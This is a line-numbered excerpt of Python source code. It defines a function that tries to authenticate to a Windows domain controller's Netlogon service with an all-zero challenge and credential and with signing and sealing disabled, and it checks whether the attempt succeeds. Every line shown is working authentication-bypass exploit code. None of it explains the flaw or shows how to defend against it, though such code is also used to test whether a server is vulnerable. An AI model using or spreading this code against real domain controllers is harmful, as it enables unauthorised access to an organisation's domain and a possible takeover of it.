| 71 | |
| 72 | |
| 73 | def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer): |
| 74 | # Connect to the DC's Netlogon service. |
| 75 | |
| 76 | # Use an all-zero challenge and credential. |
| 77 | plaintext = b"\x00" * 8 |
| 78 | ciphertext = b"\x00" * 8 |
| 79 | |
| 80 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. |
| 81 | flags = 0x212FFFFF |
| 82 | |
| 83 | # Send challenge and authentication request. |
| 84 | nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext) |
| 85 | try: |
| 86 | server_auth = nrpc.hNetrServerAuthenticate3( |
| 87 | rpc_con, |
| 88 | dc_handle + "\x00", |
| 89 | target_computer + "$\x00", |
| 90 | nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, |
| 91 | target_computer + "\x00", |
| 92 | ciphertext, |
| 93 | flags, |
| 94 | ) |
| 95 | |
| 96 | # It worked! |
| 97 | assert server_auth["ErrorCode"] == 0 |
| 98 | return True |
| 99 | |
| 100 | except nrpc.DCERPCSessionError as ex: |
| 101 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. |
| 102 | if ex.get_error_code() == 0xC0000022: |
| 103 | return None |
| 104 | else: |
| 105 | fail(f"Unexpected error code from DC: {ex.get_error_code()}.") |
| 106 | except BaseException as ex: |
| 107 | fail(f"Unexpected error: {ex}.") |